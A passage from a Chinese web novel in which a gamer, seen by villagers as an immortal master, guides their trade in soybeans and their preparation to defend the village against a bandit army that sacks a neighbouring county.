【B.不同意,感觉投资太大,不适合前期发展。】 看着这两个选项,姜定在片刻犹豫后,选择了A选项。 ——隐藏人物一出现就弹出来这选项,这不是明摆着告诉他赚钱的时候到了么! 再说,这种属性是生财有道的NPC,赚钱的嗅觉可比他这个外行要灵敏得多了! 而此刻,伴随着时间一分一秒流逝,仙师不说话,他心里越是忐忑。 ——莫不是仙师觉得他好高骛远,一接手便要大动干戈不妥? 刚打算开口挽救一番时,却听对方幽幽道。 “可。之后经营这事,你不用事事询问我,按照自己本心去做即可。” 赵金构片刻沉默,随即胸口便是忍不住的狂跳 仙师竟这般信任他? 说实话,他这一辈子,也就只有祖母能这般信任他。 无论他想做的事听起来多离谱,祖母都会支持他,所以他无论遇到何种困难,都会咬牙坚持,告诉自己不能让祖母失望。 而眼下,这般明月般的仙人,竟能全然地相信自己? 分明他才刚被仙师收至麾下,仙师何故做到这番? 赵金构浑身禁不住发烫,思绪奔腾飘逸。 片刻,他深呼一口气,这才慢慢平缓了几分。 ——既仙师这般信任,他又如何能让对方失望? 他有信心将这豆腐坊开遍这大炎朝,愿为仙师献上一份绵薄之力。 而此刻,杨延则是赶着驴,身后跟着雇佣的驴车,挨个前往原先教授过的那些村落。 一行人前进的速度还算快,跑一趟不能空车,杨延临走前顺道载了不少本村才有的特产过去,看看到时候能否售卖一部分。 这些特产大都是容易存放的干货,譬如粉条,又譬如油豆皮,腐竹这一类。 等到他来到这些村落,还没等走进村中,就有站在村口的小童眼尖,立即奔跑着回去报喜。 “阿公阿婆,收黄豆的来喽!” 这群孩童跑得飞快,下一秒,他车子便被不少人团团围住。 “小郎君,先来看看我家的黄豆,长得那叫一个好!” “诶诶诶,别抢人呐,应该挨个看才是!” 说什么的都有,大都是农人害怕他收购数量有限,生怕排在后面的卖不上。 杨延忙道:“各位父老乡亲,咱们挨个来,放心吧,咱们村里的黄豆我定会全部收购,不过原先说好的教授学费,我可是必须要收的。” 说的便是原先说好的那一斤黄豆了。 今年实行杨延教授的套作方法后,这大豆产量可比往年多了不少,这一斤黄豆的学费倒也不算什么。 其实一开始,杨延便没想从这一斤黄豆上赚钱,而是觉得这世间免费的东西定会不受珍惜,所以才设定了门槛。 只有说教授有门槛,这些农人才会好好按照他教的方法去种地才是。 “除了收购以外,我特意带了一批新鲜的吃食,你们瞧瞧要不要买一些留着冬天吃。” 说完,他便将驴车上的盖布掀开,让众人去看这些干货。 这群人哪见过这些新鲜玩意,各个好奇。 “小郎君,这是何物?” 杨延笑着介绍,“这物是粉条,耐存放,吃法的话,可以做酸辣粉,也可以在炖煮肉类时放一些,这粉条吸收了汤汁,可是好吃得紧!” 围观群众听得好奇,“小郎君,这酸辣粉为何物,怎么个做法?” 他们听得迷糊,虽说听起来觉得这玩意吃起来不错,但没个做法可让人如何去做? 倒是杨延不慌不忙地从袖口掏出一份画着简易图画的食谱来。 “自然是给各位配备了食谱,不过因这食谱制作费劲,每村只有一份,可以张贴起来,大家一起观摩。” 他将这食谱交给本村里正,里正展开,随即便一一读给村人听。 村人眼带好奇,等听到说将辣椒剁碎,放盐,花椒粉,泼热油时,各个忍不住口唇发麻发辣,口水泛滥,说起那粉吸满了酸辣汤汁时,这会终于有人受不了诱惑,当即决定买一些回去做着吃。 至于那油豆皮和腐竹也是相当受欢迎。 杨延都没想到,他带来的干货竟能售卖出去了一半。 眼下还留有两车干货,想必无论如何都是能售空了。 默默在心底盘算一圈,此次跑商不可谓不成功啊。 期间倒是有人询问那食谱中的豆腐为何物,杨延给此人介绍完毕后随即感慨。 “没办法,这豆腐吃起来爽嫩可口,无论炖煮亦或是凉拌均是风味独特,缺点就是太不耐储存,只能说以后你们有机会去斗坡村亲自尝尝才是!” 第65章 义师军 不少村人失落摇头。 “小郎君说笑了,这路途遥远,哪能为了口吃的奔波许久!” 杨延忍不住叹息,但也觉得此事无解。 等到将这村落黄豆收购完毕后,杨延没敢停留,继续往下一个村落前进。 他走后,这些村民各个兴奋不已。 毕竟杨延的收购价格可比朝廷的价格多了一文,且今年产量比往年都要高,再加上今年尚未收税,可谓是灾年唯一的欢喜事了。 靠着这份收入,他们倒是还能攒下全家人的饭钱,以及明年开春的种子钱。 除却这些之外,还购入了些外来的新奇吃食,无论怎么看,今年看上去都能过个好年了。 至于杨延的话,则在收购完附近的四个村落后,这才载着满满当当的黄豆往斗坡村赶路。 他是严格计算过成本的,扣除车夫的钱,他能小赚一笔。 等他到了斗坡村后,便可以再次载满货物出发,靠着两边方式售卖货物,不日便能获取一番不菲收益。 回去赶路之际,杨延倒是放快速度,加快赶路,一是现在不太平,二是这农作物收购最是看时效,若是错过最好的收购季节,收益定不会如同现在这般好。 原本是需要赶路三天的行程,硬生生被他压缩成了两天半,一行人风尘仆仆到达风仙县附近的开元县时,杨延终于放话暂歇片刻。 一行人下车生了火,打算煮个热乎饭菜,然后让人和驴子都休息休息,火点着,饭菜煮上,不久便各自分了一碗饭。 匆忙吃完饭菜后,一行人赶忙上驴车休息,正是夜半之际,脚夫中带头的领队起夜撒尿,刚走进林子里,舒服撒完尿后,他却神色凝重。 往后后退一步,将耳朵贴在地上,不远处阵阵马蹄声似乎逐渐朝着他所在之地前来。 领队心一沉,随即连喘气都不敢喘,仔细辨别这马蹄声。 听声可晓得这马匹数量不少,且这马蹄声相较于行商马蹄声更为沉重有力,频率稍低,更像是重型兵骑马。 人数的话,分辨不清,但最少也得有数百人! 数百人的重型兵,无论是官兵或是流寇,对于他们来说都不是好事。 领队立即快步往回跑,随即喊醒还在休息的一行人。 杨延被喊醒了后便觉事态不妙,等听清楚领队的话后,他更是脸色难看。 他原先逃难便是因为躲避战乱,当初林县便被一伙自称“义师军”的流寇所侵犯,这群流寇各个装备齐全,打着公道仗义的旗子,干的却不是那正义之事,反而各个杀烧抢掠,欺压百姓,比起当地官府所做之事还要恶劣几分。 当初林县官兵只抵抗不到三日便被攻下,眼看没了活路,全城百姓流窜,而他们一家也是如此,在林县彻底封城前,总算是逃出生天。 因林县距离风仙县较远,且途径不少县城,再加上中途地势险阻,斗坡村最近的日子又呆得太过于舒坦,让人不由生出了懈怠之心。 总之无论如何,在杨延的预想中,战乱总不至于会这么快便席卷而来。 但领队说的话却像是一把重锤,狠狠地敲击在他胸口。 ——说听到了一群数量不少的重型兵正在接近此地,而他当初在林县见到的“义师军”中,作为冲锋队的重型骑兵赫然在列。 杨延忍不住想起昔日那义师军中的重型骑兵是如何残暴。 挥刀间,便是一具新鲜的尸体诞生。 城内官兵百姓,逃命间便被这义师军中的重型骑兵挥刀斩杀。 鲜血与肠子乱飞,哭嚎声遍布城内,俨然一副地狱般的惨烈景象。 记忆重返当初,杨延忍不住打了个寒战。 倒是那领队焦急开口:“杨小郎君,此地不宜久留,我们要赶快离开这里啊!” 虽说这领队未曾见过什么大世面,但是求生的本能却告诉他这里不是久待之地。 杨延反应过来,立即同意。 其中有人提议,他们一行人加快速度往前赶路便是。 而领队则是摇头,凝重开口:“不可,我们是驴车,而这些人是马匹,速度定是要快于我们。如果依旧按照原来的计划前进的话,不久后,我们便会被他们追上击杀。 依我看,不如我们另换一条小道躲避灾祸。” 他这话很是有道理,但小道的选择性很多,正是众人不知该如何选择时,杨延冷静开口:“我们选择一条远离开元县的小路。” 毕竟在他看来,这义师军便是冲着这开元县而来。 只要说远离了这开元县,那么他们一行人还有生还的可能性。 事关身家性命,没有人反驳,毕竟杨延算是他们一队人中,学识经历最为丰富的人。 若是说先前杨延提出了前进的方向,那么这领队则是带领众人离开此地的向导,毕竟他多年领队,对这附近还算熟悉。 这选路也是有要求的,要僻静,但是却要求能通过驴车,在一番合计之后,领队飞快地选出了最适合当下的路径。 为了活命,众人此刻聚精会神,紧紧地跟在领队身后,迫于求生压力,整支队伍沉寂无声,唯有车子行驶在路上车轴发出的细微声响。 伴随着皎洁的月光,倒是显得这声音凭空多出了几分可怖来。 杨延逃命之际忍不住思索,——若是这般说的话,那开元县的百姓岂不是也要惨遭他当初所遇之事? 但他只是一普通人,手无缚鸡之力,如何能在这祸乱中保护众人? 恐怕只有仙师才能做到此事。 但他并非替仙师效力之人,如何能够将这消息通知过去? 思前想后,只能说他快速返回斗坡村,通知那能联络上仙师的人才是此事件的正确解决之策。 在杨延一行人离开后不久,一队装备精良的重骑兵果然气势汹汹赶来。 打头的骑兵更是高举着义师军红黄色的旗帜,——“替天下行公道仗义” 这队人马粗略来看,大约有三千余人,除去前方带头的重型骑兵外,后方紧跟着弓箭手,以及佩戴砍刀长枪的军兵。 行军速度不可谓不快。 他们此次前行的目的地便是那开元县,等到将这开元县拿下,搜刮完粮草马匹后,他们便会径直前行,直到将明州这处偏僻之地遍布他们义师军的的旗帜。 带领此次行动的正是义师军的新晋将领侯远明。 此人是义师军创始人侯天王的侄子,在义师军打通明州所属的七个县后,侯天王本意想暂缓攻城,潜心发展一番后再考虑攻打靠西边的数个县城,但侯远明却表明应当趁此大捷,一鼓作气,继续深入西下,将整个明州一角收入囊中后再求发展也不迟。 为表忠心,侯远明表示自身愿执长缨,冲锋在前,为叔父攻城掠地,扫平明州。 多番考虑,侯天王同意了他的请求,而后派出三千精兵,命他荡平明州角落,让每一处角落都插满他义师军的旗帜。 侯远明自接下这番命令,转而便率兵前行。 在开元县之前,他已顺利攻下两个县城。 其中不乏因今年旱灾,饥荒导致民力兵力下降,这才能让他捡了个漏。 但在他看来,运气何尝又不是实力的一种? 既然老天都站在他这一边,他不赢都说不过啊。 前往开元县的路上还算顺利,再加上因多次来的胜利,众士兵均是情绪高涨,各个早就开始畅想攻破城墙后的日子了。 但连续打了两座城,他们情绪高涨之余,也终于察觉到了一丝疲累。 曹副将为人敏锐,倒是察觉到了军士疲累之意,找了个机会,他凑过去将此事告知侯远明。 侯远明满心便是此次出征,定要顺利荡平阻碍,而后在叔父面前多显露出才能,等到回去之后,想必叔父定会大用自己。 当初他提出继续攻打城池,想的也是偏远地区军力匮乏,他率三千精兵前往,定能轻松取胜。 要不是侯天王是他叔父,这等又轻松又能涨军功的活估计轮不到他去做。 等听到曹副将的提醒后,侯远明微微蹙眉,仔细分辨一番,确实感受到了众军兵的疲意。 顿时心生不悦。 ——都是废物,才连攻两座城就受不了了? 曹副将何等精明,立马察觉到了这位的想法,立即低声道:“均是俗人,不比将军骁勇神武,既军心逐渐涣散,最好的安抚方法便是去那开元县让他们舒缓一番,如此才能让他们在之后的战斗中更为卖命啊。” 侯远明虽说不爽拖慢行军速度,但在内心考量一番后,只能同意这番行为,毕竟若是将这些人逼得太紧,在战斗中吃亏,过后反倒是他会落个不擅领兵的帽子。 于是便下令等攻破开元县,城内金银财宝,美食佳肴,美女全都可任意享受。 众人顿感兴奋,好战情绪上涨。 前两个城池来不及享受便被侯将军领着继续前进,众人敢怒不敢言,只能机械地跟着前进,倒是没想到能在前面的开元县停留一番。 领军的小队长们各个摩拳擦掌。 他们可是听闻那开原县红坊遍布,其中美酒美人多得是,此番前往,必定要好生休整一番才是。 看着轻易被调动情绪的队伍,侯远明心道果然如此,随即便是生出一阵若有若无的轻视。 毫无上进心的凡夫俗子罢了。 曹副将将他神色看在眼里,脸上没什么表情,心里却是瞧不上他。 ——开什么玩笑,明眼人都能看出来此次出征纯粹是为了给侯远明刷军功来了,他们作为手下干好了是本分,没干好才是祸事,要是能像他那样迫不及待想攻城掠地才是脑子有问题了。 第66章 身法 不过这话可不敢说,谁让人家命好,有个好叔父! 吐槽归吐槽,曹副将将心神收了几分,随后颇为放松地继续前进。 对于他们一行人来说,前进时反而最为放松,毕竟在这处偏远之地,如何能有有实力的对手去埋伏他们一行人? 因刚才的激励,队伍的前进速度稍快了几分。 等到一行人经过先前杨延一行人落脚的区域时,曹副将“咦”了一声。 他心腹前去查看,随后不久便回来禀告。 “禀将军,副将,前方有人生火的痕迹,看样子像是半个时辰前的事。” 侯远明脑内闪过数个念头,随后冷着脸问:“可还有其他线索?” 这探子继续道:“根据卑职观察,应当是一队商人。” 既听是商队,侯远明紧张的心松懈了几分。 商人不可怕,可怕的是其他地方的反叛军想率先摘桃子。 不过以防万一,他冷声道:“一队留下,看是否能捉拿这商人,若等到天明还未捉拿住,立即动身前往开元县和大部队汇合。” 很快,队伍分流出一支二十人的士兵,留下来善后。 而大部队则是朝着开元县继续前进。 这二十人在队长的引导下,慢悠悠地沿着小径而去。 而侯远明所率领的大部队,总算在天明时到达了开元县城外。 军队人马均展露疲态,命人原地修整一个时辰,他则是凝视前方,想着攻城策略。 而开元县负责守城的官兵,则是丝毫没能发现不远处休整的军队。 因明州地处偏远,官兵早就对守城一事颇为懈怠,且这些日子也未曾听说过有流寇侵犯的消息,自然是和往常一样,松懈异常。 守城官兵甚至还在站着打盹,这一幕自然被侯远明看在眼里,喜在心底。 命弓箭手开弓,几乎瞬间,数十名守城官兵还未来得及动作,便被漫天箭雨乱射而死。 官兵们哀嚎一声,倒地不起,城墙官兵这才反应过来,击响大鼓示意敌军来犯。 负责支援的城内官兵立即搭箭对射,但多日松懈,技术反而不如对面。 下一批支援逐步到位,开元县的县令则在听到下属来报后,恐得当场腿软。 ——这义师军他可听过大名,连续攻破数座城池,旗下军兵善战又残暴,他作为一城县令,自己手下的官兵他还能不知晓战力几何? 依他看,本县战力只能拖个两三天到头,等到对方强攻城门,开元县便会立即被他们攻下,最后结局他铁定会死得很惨。 下了死命令命官兵守城,县令则是驾马直奔家中,打算打包金银细软,带着妻子儿女溃逃出城。 城墙鼓声响起,整个开元县百姓在晨起卯时便听到那震天响的鼓声。 伴随着沉重的鼓声,百姓先是呆愣片刻,随即有数人从城边奔跑而来,仓惶大喊。 “义师军攻来了!” 有知晓各中利害的立即疯了一般往家逃窜,打算出城逃命,而也有不知这义师军为何的,则看到情况不对,也是扭头就跑。 开元县被义师军惦记上的数家红坊内,此刻也是乱成一团。 嫖客们顾不上面子,立即夺门而出,想逃离这是非之城,而粉头们则是各个面色仓惶,脸色灰败。 ——这攻破城门后,到时候受苦受罪的岂不是她们?!谁都知道,这乱世中像她们这样的女人是没有活路的! 对于要不要逃离出城,有人要逃,有人则是不敢。 万一逃不走怎么办?路上变故太多,她们作为弱女子如何能应对?不如留下躲藏一番,等这些流寇们离开后再出来。 若是不幸被流寇捉住,她们也能忍着伺候对方,以求活命。 而在这中,十三娘则是劝她们:“别对这些流寇有所幻想,我听说这义师军残暴异常,一女子要去伺候数十个官兵,惨一些的甚至当场命陨,还不如收拾细软逃出去搏一搏。” 因时间紧促,十三娘不再细劝,带着小丫鬟冲出红坊,驾着马车往出城方向逃走。 原先还有几分生气的开元县,此刻乱成一团。 因县令率先逃跑,整个开元县民心大散。 只一日,城门便被那义师军强行攻破,而后这群官兵烧杀抢掠,在开元县大行享乐。 而此刻,杨延一行人则刚刚到达斗坡村。 一路他们一行人除了赶路,还要分心查看是否有追兵,心神焦虑,速度自然快不起来。 中途倒也惊险,差点被一队人马追赶上,还好靠着领队对此地的熟练,这才能将那队人马绕开。 等回到斗坡村时,那熟悉的繁华感差点让他分神,但片刻后,杨延立即直奔里正家中,向他飞速说明自己所遇之事。 里正本还躺在家中休息,毕竟农忙过后,他也着实是累着了,谁能想到,半眯半醒间便被人大力摇醒。 等到睁开眼,便是一脸焦急的杨延。 听清楚那义师军来犯后,原先还有几分迷糊的里正立即被冷风一吹,浑身都僵硬起来。 ——他虽未曾听过这义师军,但从杨延的描述中不难看出,这伙流寇异常凶猛残暴,若是被他们追击到风仙县,亦或是本村,他们又该如何是好? 此等大事,里正再也淡定不能,立即决定联络仙师。 联络仙师的同时,他让杨延将孙宁元,张山,张氏几人叫来,共商抵御外敌之事。 杨延不敢延误,立即去办,而后三人则是凝重异常地赶往里正家中。 与此同时,姜定的电脑屏幕上则是出现了一则提醒。 【你的工人里正看上去很焦急,应当是有什么要事要说,是否选择查看?】 要紧事?这必须选择听啊! 提示这么明显,肯定是重要剧情! 姜定来了精神,连忙点击查看。 等看清楚对方说的话后,他却忍不住乐了。 ——有敌人即将攻打过来,这不是明摆着告诉他要搞家园保卫战了么! 这是要开启战斗系统了! 对于这类种田游戏,几乎都会植入战斗系统,大部分设定是去洞穴冒险,击杀怪物,获得升级物品亦或是建造物品,像这种单纯的城池作战则是比较少见。 思索一番后,姜定看着眼前的选项,考虑选择哪个。 【面对前来侵犯的外敌,你该如何应对?】 【A.立即决定训练工人,以反击敌人】 【B.氪金,杀光敌人,用不可名状实力震撼敌方。(氪金需花费10000两白银,威慑力,民心提升,民众满意度增加。)】 【C.微氪,杀死部分敌人,以震撼敌方,同时训练工人,为之后的战斗做准备。(需花费1000两白银,额外提供一份基础训练身法。)】 A选项来不及啊,敌人都上门了,必须要氪金才能打过去这一波才行,不然一波团灭了,他还玩什么? 至于B,虽说威慑感十足,各方面加成也不错,但目的要不要这么明显,这分明就是奔着掏空他的目的去了啊 C选项的话,则是相对来说比较合理,花费合适,且可训练工人,等到之后万一还有敌人来犯后,说不定到时候不需要他氪金都能打得过呢? 思来想去,姜定选择了C选项。 而里正则是焦虑不已。 ——仙师未回复自己,可是没能接收到他的求助? 正犹豫要不要继续开口询问时,便听那头传来熟悉的清冷声音。 “我先传你一本安身立命的身法,你立即安排村人练习,从今往后,只要是在我旗下工作的,必须练习此法。 除此之外,你不必担忧,我自有安排。” 里正心中不由大喜,而后想到那开元县,则是开口询问该如何办。 脑内声音清冷似寒泉流淌。 “不必多虑,我自有考虑。” 里正不敢继续追问,应了一声后去看仙师传递过来的仙法。 此法名为归一炼体术,等看清楚这仙法后,里正快速翻阅后,顿觉心中诧异。 ——这便是仙法么,其中提到的修炼方法十分新奇,若是按照这身法所说,勤勉练习的话,不出一个月,身体素质便能提升一个等级。 此时不容耽误,恰好孙宁元几人已来,一番商量后,几人均决定按照仙师所说,先让工人训练此法。 为将此事态严重程度说清楚,里正一行人立即在广场处召开大会。 倒也幸运,刚好是一月三次的祈福时间,聚集的人群多得很,里正一行人则趁机发布了流寇即将侵犯的消息。 当然了,仙师所要求的练习身法,他也将此事宣扬出去。 这事一出,前来祈福的村人顿时哗然。 听闻那流寇残暴时,不少人心生退意。 有人甚至提议大伙往后退退,避让流寇,却被里正严厉批评。 “退?我们现在哪里还有退让之地?风仙县本身就偏僻,既流寇已攻打过来,那便是说明整个明州早就没了安稳之地! 在这乱世中,若想活得久,一味逃跑不如加强自身,我们已经足够幸运,毕竟我们有仙师庇护,有仙法能练。 想想看,别的地方的人是不是要比我们惨烈万分? 再者,我们才过上了好日子,现在却又流寇侵犯,想让我们再次重回以往那万劫不复之境地,你们说,我们能认命被流寇残害么! 若还想活,那便跟随仙师,按照仙师所说之事去做!” 里正的发言不无道理,原先想退的人,这会被这话当头棒喝,顿觉逃无可逃。 而也有人则是愤慨异常。 就如里正所言,这世道本就活得艰辛,好不容易遇到仙师,能够活出个人样,但好日子没多久,便有人想要将这来之不易的安稳和美好撕碎! 第67章 回来 他们作为普通人,想要活得有人样有这般难吗? 愤怒之下,这群人反而怒极思进,拼命修炼那身法。 里正是接触此身法的第一人,在匆匆看完了书籍后,不知为何,脑内却将这一招一式记得清楚。 于是,这带头训练的任务便落到了他头上。 附近村人,日日都要前往斗坡村学习这身法,以求日后能反击流寇。 张氏暂停了宣传工作,反而主动负责管理练习身法的进度。 孩童分为一组,老人分为一组,剩下的青年男女则是按照学习进度分的。 只因张氏察觉,男女训练此法时,并非以力气论高低,而是靠悟性。 女子若是修炼方式得当,并不比男子训练出来的效果差。 除了训练此法外,村内铁匠坊则是忙碌异常。 既是修炼身法,自然兵器也得跟上,在万千兵器中,又以长枪为最。 因铁矿数量充足,村内冶炼了一批又一批的兵器。 大多以长枪,短刀为最。 村内氛围紧张,连先前作为俘虏的四人也被迫参与了身法的练习。 ——自农忙结束后,他们四人倒是暂时不用再去从早到晚的做活了,但这斗坡村依旧不放人,而是让他们四人负责充当脚夫。 好在做脚夫是给日薪的,一番打探,四人惊讶得知他们的工资竟然和别人一样。 初听到这消息时,四人皆是一愣,谁能想到被俘虏了,对方让他们做活还会给工钱? 听起来很离谱,但人家真这么做了,且这工钱可是给的不少啊! 一开始得知这事时,四人心下一惊,随即想到他们四人是否可以离开此处了,但这想法刚一出现,下一秒,双手双脚传来熟悉的禁锢感。 趁着还没完全发作,四人赶忙将逃走的想法摒弃,感受到身体再次恢复正常后,四人随即松了口气。 这些日子,他们四人吃住都花的铜板,吃饭的话,村内到处是便宜好吃的饭菜,而住宿的话,四人合住一个屋子,一晚上大概花费在50文,若是需要热水,便是5文一桶水,足够四人洗漱用了,分摊下来,一人吃饭加住宿,大概花费三十文左右。 脚夫活计每日收入一百五十文,扣除花费,每日净收入在120文左右。 说实话,除了一开始被迫收割农作物的日子过得惨得没边,等到熬过那段日子后,杨木竟然从内心深处觉得这日子过得十分不错。 尤其是此处物价低廉,工资却高,强度也不大,仅仅是工作了六天,但他竟然在不知不觉间已存了有700余文。 要知道他作为官兵的时候,月收入不过六百余文! 而现在仅仅过了几天,他竟能收入这么多! 且这几日杨木观察到,在此处不仅仅是男子工作机会丰富,女子工作机会也是比其他地方多太多了。 女子除了不太适合当脚夫卖力气以外,别的行业都能去干,譬如去那两个厂子内当工人,又譬如自己摆个小摊,都能赚钱。 这几日四人从一开始的担忧恐惧,到后面惊呆到麻木,不过也才过了几天而已。 期间他倒是想起李乾,就是不知道此人是继续蹲在村子外面,还是早就回到城内向县令报告他们四人的恐已遇难的“事实”了? 不过这些和他也没关系了。 杨木深呼一口气。 ——其实这段时间,他一直在想一个可能性,既然这里这般好,他能不能将家人接过来,一家人在此处讨生活,感觉要比在那风仙县内过得要有盼头。 不过这想法他仅仅是一闪而过,随后杨木赶忙命令自己停下这错乱大胆的想法。 这里看着是好,但在没摸清楚真相前,他可不敢带着一家人来冒险。 四人没交流过这方面的问题,但是从这些日子的观察中,杨木似乎隐约能察觉到三人和自己一样,皆是蠢蠢欲动。 脑内思绪万千,但练这身法时,似乎能让人浑身的郁气一扫而光。 四人有底子,练起来倒比别人要更快几分。 杨木练得酣畅,边练边感慨这身法的精妙之处。 初练觉得无甚妙处,但越练,便越能感受到浑身毛孔舒张,筋骨似乎正在被组合敲打,再多练几日,更是觉得这仙法果然是仙法,和他们以前练过的兵法完全不是一个概念。 等到今日训练完毕后,其中一人面色难看开口:“杨哥,我刚才打听到了一事” 等到听完这人说的话后,杨木忍不住面色苍白。 “你是说,义师军要攻过来了?” 这么大的事,他们四人竟然是今日才知道! 一开始村内又是打造武器,又是让每一个人训练身法,他还以为是这斗坡村终于要忍不住,打算自行为王,结果谁能想到是他想多了,原来是别的流寇都快要打上自家家门了! 不过这也不能怪他们,实在是因为本地人从来不和他们说话,知晓本地人对自己并无好感,四人也很识趣,每日不多言语,恐生事端。 打探到消息的那人脸色难看,“杨哥,你说咱们家人还在风仙县内,若义师军打过来了,你我都知县城的防御能力的” 笑话,那开元县和他们风仙县,水平相当,既开元县难以抗敌,想必风仙县恐怕也要遭遇不测啊。 想起那些人口中所说义师军的残暴,四人均忍不住心生绝望。 ——不行,得将这消息赶快告知县内才是,提前防范总比什么都不知道的情况下要有利。 但他们四人皆被束缚,如何能通风报信? 再说句难听话,提前防御也不过是晚几日攻破,风仙县位置偏远,想寻个支援定是没有的! 前后思索一番,其实四人心中皆有了考量。 杨木看着其余三人,缓缓开口:“我有个想法,我们四人皆返回县内。 我独自前往县衙,将这消息告之县令,你三人先去租两辆马车,用最快的速度去家中接走城内家属,随后带他们出城,来到这斗坡村暂住。” 三人心下一惊,忙要开口拒绝,——若采用这办法,自然是前去报信的杨木最为危险,毕竟县令喜怒无常,万一到时候他报信不成,反而人头落地,岂不是不美。 “杨哥何必这样,咱们共同入城,然后带着亲属逃离,岂不比你的方法要妥当?” “是啊,老吴说的有道理,王县令派我们四人前来,就是没想过让我们活着回去,你又何必亲自送上门去呢?” 杨木叹了口气,随后道:“这也是无奈之法。一是你我进城必定会被上报上去,王县令正等着我等前去回报结果,若是没等到,你猜他会不会去家中寻找我们四人? 二是这义师军残暴异常,若不去提醒,城中百姓岂不是来不及反应便会被流寇屠杀? 虽说我等寻了活路,但眼睁睁看着城内这么多条命消失,我还是觉得于心不忍。” 杨木这番话确实有道理,三人叹息后只能同意。 四人正打算试试是否能离开此地时,却突然发觉,身上的限制似乎并未被触发。 ——这是消失了? 或者说这道禁锢在听了他们四人的对话后,暂时决定放他们离开? 四人均不了解,但没错过这机会,忙前往本村租赁马车的地方租了一辆马车。 而后,由杨木驾驶着马车,剩余三人则是进了车内暂时躲起来。 在出村口时,杨木还特意张望一番,确定没看到李乾的身影后,他不再浪费时间,转而直奔风仙县而去。 而李乾早在几日前扛不住回了城。 在他看来,自己已在村口等了数日,而那四人进去后,便像是凭空消失一般,再也没了消息。 苦苦等待,想向村口不断进出的人打听一番,但一想到过往的遭遇,李乾想张开的口立即闭住 算了,这群人嘴里没一句实话,说不定他所能看到的所有人都是那妖物的障眼法呢? 这么一想,他只觉得看到的每一个人都逐渐变得面目可憎起来。 终于,在将身上食物全部吃完后,眼看四人是彻底回不来了,李乾失落之余,又觉得自己命好。 ——得亏他没进去,不然现在他岂不是也要白白丢掉性命? 得赶紧回去上报王县令,或许还能搏个县令大人的几分可怜,也算他这番苦头没白吃。 经历多日的磨难,李乾总算是将路深深地刻印在脑内,等到他靠着步行混着搭便车回到风仙县内,已然过了两天。 等走到熟悉的城门前时,李乾激动得差点哭出声。 守城的官兵看到一穿着破烂的讨饭人,刚想出口让他滚远点,就看到这叫花子将乱发一掀,露出一张脏兮兮的面庞。 官兵刚想瞪眼去骂,在看清对方后惊呆在原地。 “李哥?怎么是你?” 等李乾被带进县衙时,他便从旁人口中听到了他们一行五人的结局。 ——行踪不明,恐已遇害。 而后他如愿见到了王县令,在这位面前,李乾又是表忠心,抹眼泪,说那斗坡村却是是妖物所在之处,他们五人前去探索,结果只有他命大逃了出来。 至于对斗坡村内的描述,李乾特意描述得血腥恐怖,且他还将五人先前迷路的事也一并添油加醋说了出来,听得几位大人均是眉头忍不住直蹙。 等确定这李乾话都说完后,王县令先命他下去,随后愁眉不展。 前几日那妖物附身他的心腹,他前去求符,就是不知道这符是否能扛得住这般强大的妖物? 惶惶不可终日,在几日后,却听下属回报,那死在斗坡村的杨木回来了。 王县令忍不住浑身颤抖,先前还在摆弄画眉的手顿时一软,鸟食撒了一地。 第68章 投诚 “你是说,义师军已攻破开元县,直奔风仙县而来?” 本以为杨木会上报关于妖物之事,但让王县令没想到的是,杨木带来的却是更为现实紧迫的消息。 他和杨木一行人不同,他可是听闻过这义师军恶名的。 提起这义师军,映入他脑内的第一想法便是完了。 谁人不知这义师军残暴善战,烧杀抢掠无恶不作,若是那开元县已被攻破,风仙县被攻破也是迟早的事。 王县令忍不住脑门上浸润出汗水,随即立即派前线的探子去查此事。 等到他冷静下来后,逐渐回味过来。 “你是如何知晓这事的?” 杨木垂着头,恭敬答道:“小人是在那斗坡村内打听到此事,遂立即回来禀告。” 王县令琢磨出不对劲来。 ——这杨木所说和那李乾所说似乎不太能对得上,想必这二人中必有一人没说实话。 加上外敌来犯,心中正是恼火之际。 忍着火气,先是询问杨木为何不早些回来,又让他将此次探索实情一一解释清楚。 杨木看出来王县令脸色不好,想必定是心中恼火。 隐没另外三人依旧存活,且那斗坡村内部安稳平乐景象后,杨木将自己一行人所经历的事大概告知王县令,当听闻杨木一行人被妖物降下厄运,而后又被禁锢在村内不能出来时,王县令的脸色变了又变。 ——这李乾竟敢骗他! 说什么五人一起进村,合着是他不敢进,让别人进去打探了。 他不关心谁死谁活,但那李乾连村内都没进去,想必他对于斗坡村内部的描述都是假的。 没想到一个小小的李乾,竟也敢说些大话来蒙骗他! 王县令心中一阵恼火,而后在杨木的描述中,逐渐知晓了那村内模样。 据杨木所说,人只要一进去便会受到一种莫名的束缚,会强行命令被束缚之人去做妖物所想之事,这和妖物擅长的附身很相似。 思来想去,无论怎么听,王县令都觉得这斗坡村实在是危险。 他忍不住叹了口气—— 这风仙县不好呆啊,有妖物,还有强敌即将攻打过来,他作为一县之首,自然应当带着精锐部队前往别的县城求援更为安稳。 但也不知晓这义师军到底侵占了哪些城池,若周围都被他们侵占,他带人跑路岂不是自找死路? 还不如开城投诚,看是否能求得一条活路。 王县令脑内思绪乱飞,这会听完了杨木的话后,摆摆手让他暂且退下,至于李乾的话 王县令冷哼一声,命人直接将此人捉拿押送至大牢。 而那李乾被捉拿住时,正在杨木四人家附近打量巡视。 正觉得这几家是不是有些不太对劲时,却被熟悉的同僚拍了拍肩膀。 此刻,他还不知道自己要去牢房,满心欢喜以为要过去领赏,自然放下心中疑惑,跟着前往县衙。 而原本驾着马车,打算带着家人逃跑的三人则在看到那李乾离去后,松了口气。 ——好险,差点就被那李乾看出来端倪了,好在他被人带走,趁着这时机,足够他们一行人离开风仙县。 倒是杨木的妻子,杨娘子面容焦虑。 “诸位,杨木他人呢?” 三人不忍多说,但总归这事瞒不住,只能将杨木原先说的话一一告知杨娘子。 等听清楚丈夫竟然去了县衙回报后,杨娘子忍不住怔忪,随即心跳如擂鼓。 到底是情况危急,杨娘子无机会多问,只能带着孩子,父母,匆匆钻入马车中。 一行人一共租了三辆马车,这才堪堪将四口人全部带走。 等到出城门时,三人中的老父则是颤颤巍巍拿着一枚腰牌,说要去城外去将儿子的尸首带回来。 守城官兵倒是认识这老汉,又看他手中举着的腰牌确实也是原先同僚的腰牌,自然是放开城门,让这三辆马车出城。 等到彻底脱离官兵的视线后,三人忙驾马离去。 等到中午未时时,杨木这才出了城,直奔斗坡村而去。 而那李乾,则不由他解释,被关入牢房。 王县令派出去的探子驾马急忙回报。 等听清楚探子说出开元县的确被那义师军攻陷后,王县令双腿一软,不由细细询问那开原县县令眼下何在? 却听探子垂头道:“回禀大人,属下不曾看到,应当是逃命去了。” 